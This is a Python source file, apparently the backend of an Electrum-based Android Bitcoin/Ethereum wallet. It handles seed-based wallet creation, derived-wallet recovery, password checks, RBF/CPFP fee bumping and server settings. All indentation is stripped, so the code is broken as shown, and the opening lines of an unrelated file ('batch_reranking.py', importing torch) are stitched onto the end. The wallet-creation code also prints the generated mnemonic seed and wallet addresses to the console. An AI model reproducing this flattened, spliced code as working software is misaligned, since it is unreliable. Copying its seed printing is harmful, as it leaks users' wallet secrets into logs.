keys = keystore.get_eth_private_key(privkeys, allow_spaces_inside_key=False)
good_inputs, bad_inputs = wallet.import_private_keys(keys, None, write_to_disk=False)
# FIXME tell user about bad_inputs
if not good_inputs:
raise BaseException(_("No private key available."))
wallet_type = "%s-private-standard" % coin
else:
if bip39_derivation is not None:
if keystore.is_seed(seed):
ks = keystore.from_seed(seed, passphrase, False)
else:
is_checksum, is_wordlist = keystore.bip39_is_checksum_valid(seed)
if not is_checksum:
raise BaseException(InvalidBip39Seed())
ks = keystore.from_bip39_seed(seed, passphrase, bip39_derivation)
if int(bip39_derivation.split('/')[ACCOUNT_POS].split('\'')[0]) != 0:
wallet_type = '%s-derived-standard' % coin
derived_flag = True
elif master is not None:
ks = keystore.from_master_key(master)
else:
if seed is None:
seed = Mnemonic("english").generate(strength=strength)
# seed = mnemonic.Mnemonic('en').make_seed(seed_type=seed_type)
new_seed = seed
print("Your wallet generation seed is:\n\"%s\"" % seed)
print("seed type = %s" % type(seed))
if keystore.is_seed(seed):
ks = keystore.from_seed(seed, passphrase, False)
else:
is_checksum, is_wordlist = keystore.bip39_is_checksum_valid(seed)
if not is_checksum:
raise BaseException(InvalidBip39Seed())
if coin == "btc":
derivation = bip44_derivation(0, purpose)
elif self.coins.__contains__(coin):
derivation = bip44_derivation(0, self.coins[coin]['addressType'],
coin=self.coins[coin]['coinId'])
ks = keystore.from_bip39_seed(seed, passphrase, derivation=derivation)
db.put('keystore', ks.dump())
if coin == "btc":
wallet = Standard_Wallet(db, storage, config=self.config)
elif self.coins.__contains__(coin):
wallet = Standard_Eth_Wallet(db, storage, config=self.config)
addr = wallet.get_addresses()[0]
print(f"addre........{addr, bip39_derivation}")
new_name = self.get_unique_path(wallet)
wallet.storage.set_path(self._wallet_path(new_name))
self.check_exist_file(addr)
wallet.set_name(name)
wallet.save_db()
wallet.update_password(old_pw=None, new_pw=password, str_pw=self.android_id, encrypt_storage=True)
self.daemon.add_wallet(wallet)
# self.update_wallet_name(temp_path, self.get_unique_path(wallet))
# wallet = self.get_wallet_by_name(self.get_unique_path(wallet))
if coin == "btc":
wallet.start_network(self.daemon.network)
if hd and seed is not None:
self.set_hd_wallet(wallet)
if coin == "btc":
self.set_hd_wallet(wallet)
wallet_type = '%s-hd-standard' % coin
self.update_local_wallet_info(new_name, wallet_type)
if derived_flag:
self.update_devired_wallet_info(bip39_derivation, self.get_hd_wallet_encode_seed(coin), name)
# if self.label_flag:
# self.label_plugin.load_wallet(self.wallet, None)
if new_seed != '':
key = wallet.keystore.xpub
self.update_backup_info(key)
wallet_info = CreateWalletInfo.create_wallet_info(coin_type=coin, name=wallet.__str__())
out = self.get_create_info_by_json(new_seed, wallet_info)
return json.dumps(out)
def get_create_info_by_json(self, seed='', wallet_info=None, derived_info=None):
from electrum_gui.android.create_wallet_info import CreateWalletInfo
create_wallet_info = CreateWalletInfo()
create_wallet_info.add_seed(seed)
create_wallet_info.add_wallet_info(wallet_info)
create_wallet_info.add_derived_info(derived_info)
return create_wallet_info.to_json()
def is_watch_only(self):
'''
Check if it is watch only wallet
:return: True/False as bool
'''
self._assert_wallet_isvalid()
return self.wallet.is_watching_only()
def load_all_wallet(self):
'''
Load all wallet info
:return:
'''
name_wallets = sorted([name for name in os.listdir(self._wallet_path())])
name_info = {}
for name in name_wallets:
self.load_wallet(name, password=self.android_id)
def update_wallet_password(self, old_password, new_password):
'''
Update password
:param old_password: old_password as str
:param new_password: new_password as str
:return:
'''
self._assert_daemon_running()
for name, wallet in self.daemon._wallets.items():
wallet.update_password(old_pw=old_password, new_pw=new_password, str_pw=self.android_id)
def check_password(self, password):
'''
Check wallet password
:param password: as string
:return: raise except if error
'''
try:
if self.check_pw_wallet is None:
self.check_pw_wallet = self.get_check_wallet()
self.check_pw_wallet.check_password(password, str_pw=self.android_id)
except BaseException as e:
if len(e.args) != 0:
if -1 != e.args[0].find("out of range"):
pass
else:
raise e
def recovery_confirmed(self, name_list, hw=False):
'''
If you import hd wallet by seed, you will get a name list
and you need confirm which wallets you want to import
:param name_list: wallets you want to import as list like [name, name2,...]
:param hw: True if you recovery from hardware
:return:
'''
name_list = json.loads(name_list)
if len(name_list) != 0:
for name in name_list:
if self.recovery_wallets.__contains__(name):
recovery_info = self.recovery_wallets.get(name)
wallet = recovery_info['wallet']
self.daemon.add_wallet(wallet)
wallet.hide_type = False
# wallet.set_name(recovery_info['name'])
wallet.save_db()
# self.update_wallet_name(wallet.__str__(), self.get_unique_path(wallet))
coin = wallet.wallet_type[0:3]
if self.coins.__contains__(coin):
# if not hw:
# self.coins[coin]['derivedInfoObj'].update_recovery_info(recovery_info['account_id'])
wallet_type = '%s-hw-derived-%s-%s' % (coin, wallet.m, wallet.n) if hw else (
'%s-derived-standard' % coin)
self.update_devired_wallet_info(
bip44_derivation(recovery_info['account_id'], bip43_purpose=self.coins[coin]['addressType'],
coin=self.coins[coin]['coinId']),
recovery_info['key'], wallet.get_name())
else:
# if not hw:
# self.btc_derived_info.update_recovery_info(recovery_info['account_id'])
wallet_type = 'btc-hw-derived-%s-%s' % (1, 1) if hw else (
'btc-derived-standard')
self.update_devired_wallet_info(bip44_derivation(recovery_info['account_id'], bip43_purpose=84,
coin=constants.net.BIP44_COIN_TYPE),
recovery_info['key'], wallet.get_name())
self.update_local_wallet_info(self.get_unique_path(wallet), wallet_type)
self.recovery_wallets.clear()
def delete_derived_wallet(self):
wallet = json.loads(self.list_wallets())
for wallet_info in wallet:
for key, info in wallet_info.items():
try:
if (-1 != info['type'].find('-hd-') or -1 != info['type'].find('-derived-')) and -1 == info[
'type'].find('-hw-'):
self.delete_wallet_from_deamon(self._wallet_path(key))
if self.local_wallet_info.__contains__(key):
self.local_wallet_info.pop(key)
self.config.set_key('all_wallet_type_info', self.local_wallet_info)
except Exception as e:
raise BaseException(e)
self.hd_wallet = None
def get_check_wallet(self):
wallets = self.daemon.get_wallets()
for key, wallet in wallets.items():
if not isinstance(wallet.keystore, Hardware_KeyStore):
return wallet
# key = sorted(wallets.keys())[0]
# # value = wallets.values()[0]
# return wallets[key]
def update_recover_list(self, recovery_list, balance, name, label, coin):
show_info = {}
show_info['coin'] = coin
show_info['blance'] = str(balance)
show_info['name'] = name
show_info['label'] = label
recovery_list.append(show_info)
def filter_wallet(self):
recovery_list = []
##TODO:fileter eth
for name, wallet_info in self.recovery_wallets.items():
try:
wallet = wallet_info['wallet']
coin = wallet.wallet_type[0:3]
if self.coins.__contains__(wallet.wallet_type[0:3]):
address = wallet.get_addresses()[0]
tx_list = PyWalib.get_transaction_history(address, recovery=True)
if len(tx_list) != 0:
self.update_recover_list(recovery_list, wallet.get_all_balance(address, coin), str(wallet),
wallet.get_name(), coin)
continue
else:
history = reversed(wallet.get_history())
for item in history:
c, u, _ = wallet.get_balance()
self.update_recover_list(recovery_list, self.format_amount_and_units(c + u), str(wallet),
wallet.get_name(), "btc")
break
except BaseException as e:
raise e
return recovery_list
def update_recovery_wallet(self, key, wallet_obj, bip39_derivation, name):
wallet_info = {}
wallet_info['key'] = key
wallet_info['wallet'] = wallet_obj
wallet_info['account_id'] = int(bip39_derivation.split('/')[ACCOUNT_POS].split('\'')[0])
wallet_info['name'] = name
return wallet_info
def get_coin_derived_path(self, account_id, coin='btc', purpose=84):
if coin == "btc":
return bip44_derivation(account_id, bip43_purpose=purpose)
else:
return bip44_derivation(account_id, self.coins[coin]['addressType'], coin=self.coins[coin]['coinId'])
def recovery_import_create_hw_wallet(self, i, name, m, n, xpubs, coin='btc'):
try:
if coin == 'btc':
print(f"xpubs=========={m, n, xpubs}")
self.set_multi_wallet_info(name, m, n)
self.add_xpub(xpubs, self.hw_info['device_id'], i, self.hw_info['type'])
temp_path = self.get_temp_file()
path = self._wallet_path(temp_path)
keystores = self.get_keystores_info()
# if not hide_type:
# for key, value in self.local_wallet_info.items():
# num = 0
# for xpub in keystores:
# if value['xpubs'].__contains__(xpub):
# num += 1
# if num == len(keystores) and value['type'] == wallet_type:
# raise BaseException(f"The same xpubs have create wallet, name={key}")
storage, db = self.wizard.create_storage(path=path, password='', hide_type=True)
if storage:
wallet = Wallet(db, storage, config=self.config)
# wallet.status_flag = ("btc-hw-%s-%s" % (m, n))
wallet.set_name(name)
wallet.hide_type = True
new_name = self.get_unique_path(wallet)
wallet.storage.set_path(self._wallet_path(new_name))
wallet.start_network(self.daemon.network)
self.recovery_wallets[new_name] = self.update_recovery_wallet(xpubs[0], wallet,
self.get_coin_derived_path(i, coin),
name)
self.wizard = None
else:
print("TODO recovery create from hw")
except Exception as e:
raise BaseException(e)
def get_type(self, xtype):
return 'p2wpkh-p2sh' if xtype == 49 else 'p2pkh' if xtype == 44 else 'p2wpkh' if xtype == 84 else ""
def recovery_create_subfun(self, coin, account_id, hw, name, seed, password, passphrase, path):
try:
type_list = [49, 44, 84]
if coin == 'btc':
for xtype in type_list:
bip39_derivation = self.get_coin_derived_path(account_id, coin, purpose=xtype)
if not self._recovery_flag:
return False
if not hw:
self.recovery_create(name, seed, password=password,
bip39_derivation=bip39_derivation,
passphrase=passphrase, coin=coin)
else:
xpub = self.get_xpub_from_hw(path=path, _type=self.get_type(xtype), account_id=account_id,
coin=coin)
self.recovery_import_create_hw_wallet(account_id, name, 1, 1, xpub, coin=coin)
return True
except BaseException as e:
raise e
def recovery_wallet(self, seed=None, password=None, passphrase="", coin='btc', xpub=None, hw=False,
path='bluetooth'):
derived = DerivedInfo(self.config)
derived.init_recovery_num()
for derived_xpub, derived_wallet in self.derived_info.items():
if xpub == derived_xpub:
for derived_info in derived_wallet:
flag = self.recovery_create_subfun(coin, derived_info['account_id'], hw, derived_info['name'], seed,
password, passphrase, path)
if not flag:
return False
derived.update_recovery_info(derived_info['account_id'])
derived.reset_list()
account_list = derived.get_list()
##create the wallet 0~19 that not in the config file, the wallet must have tx history
if account_list is not None:
for i in account_list:
flag = self.recovery_create_subfun(coin, i, hw, "%s_derived_%s" % (coin, i), seed, password, passphrase,
path)
if not flag:
return False
def get_hd_wallet(self):
if self.hd_wallet is None:
raise BaseException(UnavaiableHdWallet())
return self.hd_wallet
def get_hd_wallet_encode_seed(self, coin=''):
return self.get_hd_wallet().get_keystore().xpub + coin
@classmethod
def _set_recovery_flag(cls, flag=False):
'''
Support recovery process was withdrawn
:param flag: true/false
:return:
'''
cls._recovery_flag = flag
def recovery_hd_derived_wallet(self, password=None, seed=None, passphrase='', xpub=None, hw=False, wallet_data=None,
path='bluetooth'):
if hw:
self.recovery_wallet(xpub=xpub, hw=hw, path=path)
else:
# hd_wallet = self.btc_derived_info.get_hd_wallet()
xpub = self.get_hd_wallet_encode_seed('btc')
self.recovery_wallet(seed, password, passphrase, xpub=xpub, hw=hw)
# for symbol, info in self.coins.items():
# xpub = self.get_hd_wallet_encode_seed(coin)
# PyWalib.set_server(info)
# self.recovery_wallet(seed, password, passphrase, xpub=xpub, hw=hw)
if not self._recovery_flag:
self.recovery_wallets.clear()
self._recovery_flag = True
raise UserCancel()
recovery_list = self.filter_wallet()
out_info = []
if wallet_data is not None:
for info in wallet_data:
out_info.append(info["wallet_info"][0])
out = self.get_create_info_by_json(wallet_info=out_info, derived_info=recovery_list)
return json.dumps(out)
def get_derivat_path(self, purpose=84, coin=constants.net.BIP44_COIN_TYPE):
'''
Get derivation path
:param coin_type: 44/49/84 as int
:return: 'm/44'/0/0' as string
'''
if coin != 'btc':
purpose = self.coins[coin]['addressType']
coin = self.coins[coin]['coinId']
return bip44_derivation(0, purpose, coin=coin)
def create_derived_wallet(self, name, password, coin='btc', purpose=84, strength=128):
'''
Create BTC/ETH derived wallet
:param name: name as str
:param password: password as str
:param coin: btc/eth as str
:return:
'''
self._assert_coin_isvalid(coin)
try:
self.check_password(password)
except BaseException as e:
raise e
# derived_info = self.btc_derived_info if coin == 'btc' else self.coins[coin]['derivedInfoObj']
seed = self.get_hd_wallet().get_seed(password)
coin_type = constants.net.BIP44_COIN_TYPE if coin == 'btc' else self.coins[coin]['coinId']
purpose = purpose if coin == 'btc' else self.coins[coin]['addressType']
encode_seed = self.get_hd_wallet_encode_seed(coin)
list_info = self.get_derived_list(encode_seed)
# list_info = derived_info.get_list()
if list_info is not None:
if len(list_info) == 0:
from electrum.i18n import _
raise BaseException(DerivedWalletLimit())
account_id = list_info[0]
else:
account_id = 0
hd_flag = True
wallet_type = '%s-hd-standard' % coin
for wallet_info in json.loads(self.list_wallets()):
for _, info in wallet_info.items():
if info['type'] == wallet_type:
hd_flag = False
derivat_path = bip44_derivation(account_id, purpose, coin=coin_type)
return self.create(name, password, seed=seed, bip39_derivation=derivat_path, strength=strength, hd=hd_flag,
coin=coin)
def recovery_create(self, name, seed, password, bip39_derivation, passphrase='', coin="btc"):
try:
self.check_password(password)
except BaseException as e:
raise e
if int(bip39_derivation.split('/')[ACCOUNT_POS].split('\'')[0]) == 0:
return
temp_path = self.get_temp_file()
path = self._wallet_path(temp_path)
if exists(path):
raise BaseException(FileAlreadyExist())
storage = WalletStorage(path)
db = WalletDB('', manual_upgrades=False)
ks = keystore.from_bip39_seed(seed, passphrase, bip39_derivation)
db.put('keystore', ks.dump())
if self.coins.__contains__(coin):
print("")
wallet = Standard_Eth_Wallet(db, storage, config=self.config)
wallet.wallet_type = '%s_standard' % coin
else:
wallet = Standard_Wallet(db, storage, config=self.config)
wallet.hide_type = True
wallet.set_name(name)
new_name = self.get_unique_path(wallet)
wallet.storage.set_path(self._wallet_path(new_name))
self.recovery_wallets[new_name] = self.update_recovery_wallet(self.get_hd_wallet_encode_seed(coin), wallet,
bip39_derivation, name)
wallet.update_password(old_pw=None, new_pw=password, str_pw=self.android_id, encrypt_storage=True)
if coin == 'btc':
wallet.start_network(self.daemon.network)
wallet.save_db()
def get_devired_num(self, coin):
'''
Get devired HD num by app
:param wallet:btc/eth as string
:return:
'''
xpub = self.get_hd_wallet_encode_seed(coin)
if self.derived_info.__contains__(xpub):
num = len(self.derived_info[xpub])
return num
def delete_devired_wallet_info(self, wallet_obj):
derivation = wallet_obj.keystore.get_derivation_prefix()
account_id = int(derivation.split('/')[ACCOUNT_POS].split('\'')[0])
if self.coins.__contains__(wallet_obj.wallet_type[0:3]):
coin = wallet_obj.wallet_type[0:3]
else:
coin = 'btc'
xpub = self.get_hd_wallet_encode_seed(coin)
if self.derived_info.__contains__(xpub):
derived_wallet = self.derived_info[xpub]
for pos, wallet_info in enumerate(derived_wallet):
if int(wallet_info['account_id']) == account_id:
derived_wallet.pop(pos)
break
self.derived_info[xpub] = derived_wallet
self.config.set_key("derived_info", self.derived_info)
def update_devired_wallet_info(self, bip39_derivation, xpub, name):
wallet_info = {}
wallet_info['name'] = name
wallet_info['account_id'] = bip39_derivation.split('/')[ACCOUNT_POS][:-1]
if not self.derived_info.__contains__(xpub):
derivated_wallets = []
derivated_wallets.append(wallet_info)
self.derived_info[xpub] = derivated_wallets
self.config.set_key("derived_info", self.derived_info)
else:
save_flag = False
from .derived_info import RECOVERY_DERIVAT_NUM
if len(self.derived_info[xpub]) <= RECOVERY_DERIVAT_NUM:
derived_wallet = self.derived_info[xpub]
for info in derived_wallet:
if info['account_id'] == wallet_info['account_id']:
save_flag = True
if not save_flag:
self.derived_info[xpub].append(wallet_info)
self.config.set_key("derived_info", self.derived_info)
def get_all_mnemonic(self):
'''
Get all mnemonic, num is 2048
'''
return json.dumps(Wordlist.from_file('english.txt'))
def get_all_wallet_balance(self):
'''
Get all wallet balances
:return:
'''
out = {}
try:
all_balance = float(0)
all_wallet_info = []
for name, wallet in self.daemon._wallets.items():
wallet_info = {}
name = name.split('/')[-1]
wallet_info['name'] = wallet.get_name()
if self.coins.__contains__(wallet.wallet_type[0:3]):
checksum_from_address = self.pywalib.web3.toChecksumAddress(wallet.get_addresses()[0])
balances_info = wallet.get_all_balance(checksum_from_address,
self.coins[wallet.wallet_type[0:3]]['symbol'])
for symbol, info in balances_info.items():
info['fiat'] = self.daemon.fx.format_amount_and_units(
self.get_amount(info['fiat'])) if self.daemon.fx else None
fiat = float(info['fiat'].split()[0].replace(',', ""))
all_balance += fiat
wallet_info['wallets'] = balances_info
all_wallet_info.append(wallet_info)
else:
c, u, x = wallet.get_balance()
balance = self.daemon.fx.format_amount_and_units(c + u) if self.daemon.fx else None
fiat = float(balance.split()[0].replace(',', ""))
all_balance += fiat
wallet_info['btc'] = self.format_amount(c + u)
wallet_info['fiat'] = balance
all_wallet_info.append(wallet_info)
out['all_balance'] = ('%s %s' % (all_balance, self.ccy))
out['wallet_info'] = all_wallet_info
return json.dumps(out)
except BaseException as e:
raise e
def check_exist_file(self, addr):
for _, exist_wallet in self.daemon._wallets.items():
if addr in exist_wallet.get_addresses()[0]:
raise BaseException(FileAlreadyExist())
#####
# rbf api
def set_rbf(self, status_rbf):
'''
Enable/disable rbf
:param status_rbf:True/False as bool
:return:
'''
use_rbf = self.config.get('use_rbf', True)
if use_rbf == status_rbf:
return
self.config.set_key('use_rbf', status_rbf)
self.rbf = status_rbf
def get_rbf_status(self, tx_hash):
try:
tx = self.wallet.db.get_transaction(tx_hash)
if not tx:
return False
height = self.wallet.get_tx_height(tx_hash).height
_, is_mine, v, fee = self.wallet.get_wallet_delta(tx)
is_unconfirmed = height <= 0
if tx:
# note: the current implementation of RBF *needs* the old tx fee
rbf = is_mine and self.rbf and fee is not None and is_unconfirmed
if rbf:
return True
else:
return False
except BaseException as e:
raise e
def format_fee_rate(self, fee_rate):
# fee_rate is in sat/kB
return util.format_fee_satoshis(fee_rate / 1000, num_zeros=self.num_zeros) + ' sat/byte'
def get_rbf_fee_info(self, tx_hash):
tx = self.wallet.db.get_transaction(tx_hash)
if not tx:
raise BaseException(FailedGetTx())
txid = tx.txid()
assert txid
fee = self.wallet.get_tx_fee(txid)
if fee is None:
raise BaseException(
_("RBF(Replace-By-Fee) fails because it does not get the fee intormation of the original transaction."))
tx_size = tx.estimated_size()
old_fee_rate = fee / tx_size # sat/vbyte
new_rate = Decimal(max(old_fee_rate * 1.5, old_fee_rate + 1)).quantize(Decimal('0.0'))
new_tx = json.loads(self.create_bump_fee(tx_hash, str(new_rate)))
ret_data = {
'current_feerate': self.format_fee_rate(1000 * old_fee_rate),
'new_feerate': str(new_rate),
'fee': new_tx['fee'],
'tx': new_tx['new_tx']
}
return json.dumps(ret_data)
# TODO:new_tx in history or invoices, need test
def create_bump_fee(self, tx_hash, new_fee_rate):
try:
print("create bump fee tx_hash---------=%s" % tx_hash)
tx = self.wallet.db.get_transaction(tx_hash)
if not tx:
return False
coins = self.wallet.get_spendable_coins(None, nonlocal_only=False)
new_tx = self.wallet.bump_fee(tx=tx, new_fee_rate=new_fee_rate, coins=coins)
size = new_tx.estimated_size()
fee = new_tx.get_fee()
except BaseException as e:
raise BaseException(e)
new_tx.set_rbf(self.rbf)
out = {
'new_tx': str(new_tx),
'fee': fee
}
self.rbf_tx = new_tx
# self.update_invoices(tx, new_tx.serialize_as_bytes().hex())
return json.dumps(out)
def confirm_rbf_tx(self, tx_hash):
try:
self.do_save(self.rbf_tx)
except:
pass
try:
if self.label_flag and self.wallet.wallet_type != "standard":
self.label_plugin.push_tx(self.wallet, 'rbftx', self.rbf_tx.txid(), str(self.rbf_tx),
tx_hash_old=tx_hash)
except Exception as e:
print(f"push_tx rbftx error {e}")
pass
return self.rbf_tx
###cpfp api###
def get_rbf_or_cpfp_status(self, tx_hash):
try:
status = {}
tx = self.wallet.db.get_transaction(tx_hash)
if not tx:
raise BaseException("tx is None")
tx_details = self.wallet.get_tx_info(tx)
is_unconfirmed = tx_details.tx_mined_status.height <= 0
if is_unconfirmed and tx:
# note: the current implementation of rbf *needs* the old tx fee
if tx_details.can_bump and tx_details.fee is not None:
status['rbf'] = True
else:
child_tx = self.wallet.cpfp(tx, 0)
if child_tx:
status['cpfp'] = True
return json.dumps(status)
except BaseException as e:
raise e
def get_cpfp_info(self, tx_hash, suggested_feerate=None):
try:
self._assert_wallet_isvalid()
parent_tx = self.wallet.db.get_transaction(tx_hash)
if not parent_tx:
raise BaseException(FailedGetTx())
info = {}
child_tx = self.wallet.cpfp(parent_tx, 0)
if child_tx:
total_size = parent_tx.estimated_size() + child_tx.estimated_size()
parent_txid = parent_tx.txid()
assert parent_txid
parent_fee = self.wallet.get_tx_fee(parent_txid)
if parent_fee is None:
raise BaseException(_(
"CPFP(Child Pays For Parent) fails because it does not get the fee intormation of the original transaction."))
info['total_size'] = '(%s) bytes' % total_size
max_fee = child_tx.output_value()
info['input_amount'] = self.format_amount(max_fee) + ' ' + self.base_unit
def get_child_fee_from_total_feerate(fee_per_kb):
fee = fee_per_kb * total_size / 1000 - parent_fee
fee = min(max_fee, fee)
fee = max(total_size, fee) # pay at least 1 sat/byte for combined size
return fee
if suggested_feerate is None:
suggested_feerate = self.config.fee_per_kb()
else:
suggested_feerate = suggested_feerate * 1000
if suggested_feerate is None:
raise BaseException(
f'''{_("Failed CPFP(Child Pays For Parent)'")}: {_('dynamic fee estimates not available')}''')
parent_feerate = parent_fee / parent_tx.estimated_size() * 1000
info['parent_feerate'] = self.format_fee_rate(parent_feerate) if parent_feerate else ''
info['fee_rate_for_child'] = self.format_fee_rate(suggested_feerate) if suggested_feerate else ''
fee_for_child = get_child_fee_from_total_feerate(suggested_feerate)
info['fee_for_child'] = util.format_satoshis_plain(fee_for_child, decimal_point=self.decimal_point)
if fee_for_child is None:
raise BaseException("fee_for_child is none")
out_amt = max_fee - fee_for_child
out_amt_str = (self.format_amount(out_amt) + ' ' + self.base_unit) if out_amt else ''
info['output_amount'] = out_amt_str
comb_fee = parent_fee + fee_for_child
comb_fee_str = (self.format_amount(comb_fee) + ' ' + self.base_unit) if comb_fee else ''
info['total_fee'] = comb_fee_str
comb_feerate = comb_fee / total_size * 1000
comb_feerate_str = self.format_fee_rate(comb_feerate) if comb_feerate else ''
info['total_feerate'] = comb_feerate_str
if fee_for_child is None:
raise BaseException(_("Sub-transaction fee error.")) # fee left empty, treat is as "cancel"
if fee_for_child > max_fee:
raise BaseException(_('Exceeding the Maximum fee limit.'))
return json.dumps(info)
except BaseException as e:
raise e
def create_cpfp_tx(self, tx_hash, fee_for_child):
try:
self._assert_wallet_isvalid()
parent_tx = self.wallet.db.get_transaction(tx_hash)
if not parent_tx:
raise BaseException(FailedGetTx())
new_tx = self.wallet.cpfp(parent_tx, self.get_amount(fee_for_child))
new_tx.set_rbf(self.rbf)
out = {
'new_tx': str(new_tx)
}
try:
self.do_save(new_tx)
if self.label_flag and self.wallet.wallet_type != "standard":
self.label_plugin.push_tx(self.wallet, 'createtx', new_tx.txid(), str(new_tx))
except BaseException as e:
print(f"cpfp push_tx createtx error {e}")
pass
return json.dumps(out)
except BaseException as e:
raise e
#######
# network server
def get_default_server(self):
'''
Get default electrum server
:return: json like {'host':'127.0.0.1', 'port':'3456'}
'''
try:
self._assert_daemon_running()
net_params = self.network.get_parameters()
host, port, protocol = net_params.server.host, net_params.server.port, net_params.server.protocol
except BaseException as e:
raise e
default_server = {
'host': host,
'port': port,
}
return json.dumps(default_server)
def set_server(self, host, port):
'''
Custom server
:param host: host as str
:param port: port as str
:return:
'''
try:
self._assert_daemon_running()
net_params = self.network.get_parameters()
try:
server = ServerAddr.from_str_with_inference('%s:%s' % (host, port))
if not server: raise Exception("failed to parse")
except BaseException as e:
raise e
net_params = net_params._replace(server=server,
auto_connect=True)
self.network.run_from_another_thread(self.network.set_parameters(net_params))
except BaseException as e:
raise e
def get_server_list(self):
'''
Get Servers
:return: servers info as json
'''
try:
self._assert_daemon_running()
servers = self.daemon.network.get_servers()
except BaseException as e:
raise e
return json.dumps(servers)
def rename_wallet(self, old_name, new_name):
'''
Rename the wallet
:param old_name: old name as str
:param new_name: new name as str
:return:
'''
try:
self._assert_daemon_running()
if old_name is None or new_name is None:
raise BaseException(("Please enter the correct file name."))
else:
wallet = self.daemon._wallets[self._wallet_path(old_name)]
wallet.set_name(new_name)
wallet.db.set_modified(True)
wallet.save_db()
except BaseException as e:
raise e
def update_wallet_name(self, old_name, new_name):
try:
self._assert_daemon_running()
if old_name is None or new_name is None:
raise BaseException("Please enter the correct file name")
else:
os.rename(self._wallet_path(old_name), self._wallet_path(new_name))
self.daemon.pop_wallet(self._wallet_path(old_name))
self.load_wallet(new_name, password=self.android_id)
self.select_wallet(new_name)
return new_name
except BaseException as e:
raise e
def select_wallet(self, name):
'''
Select wallet by name
:param name: name as str
:return:
'''
try:
self._assert_daemon_running()
if name is None:
self.wallet = None
else:
self.wallet = self.daemon._wallets[self._wallet_path(name)]
self.wallet.use_change = self.config.get('use_change', False)
if self.coins.__contains__(self.wallet.wallet_type[0:3]):
PyWalib.set_server(self.coins[self.wallet.wallet_type[0:3]])
addrs = self.wallet.get_addresses()
checksum_from_address = self.pywalib.web3.toChecksumAddress(addrs[0])
all_balance = self.wallet.get_all_balance(checksum_from_address,
self.coins[self.wallet.wallet_type[0:3]]['symbol'])
for symbol, info in all_balance.items():
info['fiat'] = self.daemon.fx.format_amount_and_units(
self.get_amount(info['fiat'])) if self.daemon.fx else None
return json.dumps(info, cls=DecimalEncoder if info is not None else '')
else:
c, u, x = self.wallet.get_balance()
print("console.select_wallet %s %s %s==============" % (c, u, x))
print("console.select_wallet[%s] blance = %s wallet_type = %s use_change=%s add = %s " % (
self.wallet.get_name(), self.format_amount_and_units(c + u), self.wallet.wallet_type,
self.wallet.use_change,
self.wallet.get_addresses()))
util.trigger_callback("wallet_updated", self.wallet)
fait = self.daemon.fx.format_amount_and_units(c + u) if self.daemon.fx else None
info = {
"balance": self.format_amount(c + u) + ' (%s)' % fait,
"name": name,
"label": self.wallet.get_name()
}
if self.label_flag and self.wallet.wallet_type != "standard":
self.label_plugin.load_wallet(self.wallet)
return json.dumps(info)
except BaseException as e:
raise BaseException(e)
def list_wallets(self):
"""List available wallets"""
name_wallets = sorted([name for name in os.listdir(self._wallet_path())])
name_info = {}
for name in name_wallets:
name_info[name] = self.local_wallet_info.get(name) if self.local_wallet_info.__contains__(name) else {
'type': 'unknow', 'time': time.time(), 'xpubs': [], 'seed': ''}
name_info = sorted(name_info.items(), key=lambda item: item[1]['time'], reverse=True)
wallet_infos = []
for key, value in name_info:
if -1 != key.find(".tmp.") or -1 != key.find(".tmptest."):
continue
temp = {}
wallet = self.daemon.wallets[self._wallet_path(key)]
device_id = self.get_device_info(wallet) if isinstance(wallet.keystore, Hardware_KeyStore) else ""
wallet_info = {'type': value['type'], 'addr': wallet.get_addresses()[0],
"name": self.get_unique_path(wallet), "label": wallet.get_name(), "device_id": device_id}
temp[key] = wallet_info
wallet_infos.append(temp)
return json.dumps(wallet_infos)
def delete_wallet_from_deamon(self, name):
try:
self._assert_daemon_running()
self.daemon.delete_wallet(name)
except BaseException as e:
raise BaseException(e)
def has_history_wallet(self, wallet_obj):
have_tx_flag = False
history = reversed(wallet_obj.get_history())
for item in history:
have_tx_flag = True
break
return have_tx_flag
def reset_config_info(self):
self.local_wallet_info = {}
self.config.set_key("all_wallet_type_info", self.local_wallet_info)
self.derived_info = {}
self.config.set_key("derived_info", self.derived_info)
self.backup_info = {}
self.config.set_key("backupinfo", self.backup_info)
self.decimal_point = 5
self.config.set_key("decimal_point", self.decimal_point)
self.config.set_key("language", "zh_CN")
self.config.set_key("sync_server_host", "39.105.86.163:8080")
self.config.set_key("show_addr_info", {})
def reset_wallet_info(self):
try:
util.delete_file(self._wallet_path())
util.delete_file(self._tx_list_path())
self.reset_config_info()
self.hd_wallet = None
self.check_pw_wallet = None
self.daemon._wallets.clear()
except BaseException as e:
raise e
def delete_wallet(self, password, name):
"""Delete a wallet"""
try:
wallet = self.daemon._wallets[self._wallet_path(name)]
if self.local_wallet_info.__contains__(name):
wallet_info = self.local_wallet_info.get(name)
wallet_type = wallet_info['type']
if not wallet.is_watching_only() and -1 == wallet_type.find("-hw-"):
self.check_password(password=password)
if -1 != wallet_type.find("-hd-") and -1 == wallet_type.find("-hw-"):
self.delete_derived_wallet()
else:
if -1 != wallet_type.find('-derived-') and -1 == wallet_type.find("-hw-"):
have_tx = self.has_history_wallet(wallet)
if not have_tx:
# delete wallet info from config
self.delete_devired_wallet_info(wallet)
self.delete_wallet_from_deamon(self._wallet_path(name))
self.local_wallet_info.pop(name)
self.config.set_key('all_wallet_type_info', self.local_wallet_info)
# os.remove(self._wallet_path(name))
except Exception as e:
raise BaseException(e)
def _assert_daemon_running(self):
if not self.daemon_running:
raise BaseException(
_("The background process does not start and it is recommended to restart the application."))
# Same wording as in electrum script.
def _assert_wizard_isvalid(self):
if self.wizard is None:
raise BaseException("Wizard not running")
# Log callbacks on stderr so they'll appear in the console activity.
def _assert_wallet_isvalid(self):
if self.wallet is None:
raise BaseException(_("You haven't chosen a wallet yet."))
# Log callbacks on stderr so they'll appear in the console activity.
def _assert_hd_wallet_isvalid(self):
if self.hd_wallet is None:
raise BaseException(UnavaiableHdWallet())
def _assert_coin_isvalid(self, coin):
if coin != "btc" and coin != "eth":
raise BaseException("coin must btc/eth")
def _on_callback(self, *args):
util.print_stderr("[Callback] " + ", ".join(repr(x) for x in args))
def _wallet_path(self, name=""):
if name is None:
if not self.wallet:
raise ValueError("No wallet selected")
return self.wallet.storage.path
else:
wallets_dir = join(self.user_dir, "wallets")
util.make_dir(wallets_dir)
return util.standardize_path(join(wallets_dir, name))
def _tx_list_path(self, name=""):
wallets_dir = join(self.user_dir, "tx_history")
util.make_dir(wallets_dir)
return util.standardize_path(join(wallets_dir, name))
all_commands = commands.known_commands.copy()
for name, func in vars(AndroidCommands).items():
if not name.startswith("_"):
all_commands[name] = commands.Command(func, "")
SP_SET_METHODS = {
bool: "putBoolean",
float: "putFloat",
int: "putLong",
str: "putString",
}
|
batch_reranking.py | import os
import time
import torch
